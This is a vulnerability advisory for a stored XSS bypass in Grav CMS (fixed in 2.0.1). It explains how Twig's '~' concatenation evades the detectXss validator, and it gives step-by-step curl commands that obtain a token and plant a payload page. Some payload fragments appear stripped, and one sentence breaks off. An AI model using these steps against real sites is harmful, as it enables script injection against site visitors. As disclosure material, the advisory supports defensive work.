CVE-2026-61453
Grav: XSS Blueprint Validation Bypass via Twig String Concatenation
Summary
## Summary The XSS blueprint validator (`Security::detectXss()`) runs on the **raw page content before Twig processing**. An attacker can use Twig's string concatenation operator (`~`) to dynamically construct an event handler name at render time. The validator sees `{{ "on" ~ "error" }}` - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains ` ` which is rendered via `{{ content|raw }}` and executes in the victim's browser. --- ## Details **The two-stage attack** exploits the separation between validation and rendering: **Stage 1 - what the XSS validator sees** (raw page content): ```twig {% set x = "on" ~ "error" %} ``` The `detectXss()` function scans this string. The `on_events` regex looks for ` ]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*=` inside HTML tags. In `{{ x }}`, the `{` character is not in the boundary set `[\s\x00-\x20\"\'\/]`, and `x` is not `on`. **No match - passes validation.** **Stage 2 - what Twig produces** (after rendering): ```html ``` The validator never re-inspects Twig output. The theme template renders this via `{{ page.content|raw }}` (confirmed in `quark2/templates/default.html.twig:5`), so no auto-escaping occurs. **Why `{% set %}` and `~` are allowed** - `system/config/security.yaml:125-145`: ```yaml allowed_tags: - set # ← allows variable assignment ... ``` The `~` operator is a core Twig operator for string concatenation (like `.` in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox. **The same technique bypasses the `dangerous_tags` blocklist** - any blocked tag name can be reconstructed: ```twig alert(1) {# XSS validator sees: - no tag detected Twig output: alert(1) #} ``` **Also bypasses the `invalid_protocols` check**: ```twig click {# Validator sees: href="{{...}}" - no "javascript:" protocol detected #} ``` --- ## Proof of Concept ### Prerequisites 1. `twig_content.process_enabled: true` set by admin 2. `api.pages.write` permission (page creation) ### Step 1 - Obtain JWT token (any user with page write access) ```bash JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \ -X POST -H "Content-Type: application/json" \ -d '{"username":"user","password":"pass"}' \ | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])") ``` ### Step 2 - Create page with Twig XSS payload ```bash curl -s http://127.0.0.1/grav/api/v1/pages -X POST \ -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \ -d '{ "title": "xss-page", "folder": "xss-page", "route": "/xss-page", "template": "default", "header": {"title": "xss", "process": {"markdown": false}}, "content": "{% set x = \"on\" ~ \"error\" %} " }' ``` **Result**: `201 Created` - XSS validator passes because it sees `{{ x }}`, not `onerror`. ### Step 3 - Visit page → XSS fires ```bash curl -s http://127.0.0.1/grav/xss-page | grep -oP ' ]*>' # Output: ``` Open in browser: `http://127.0.0.1/grav/xss-page` - `alert(document.domain)` fires. #### From a low-level user Also From a low-level user normal script such as ` ` this is being blocked by the restriction. But with payloads such as
Affected packages
| Ecosystem | Package | Affected versions | Fixed versions |
|---|---|---|---|
| Packagist | getgrav/grav | — | 2.0.1 |
Remediation: Upgrade to 2.0.1 or later.
References
Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.
CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.
EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.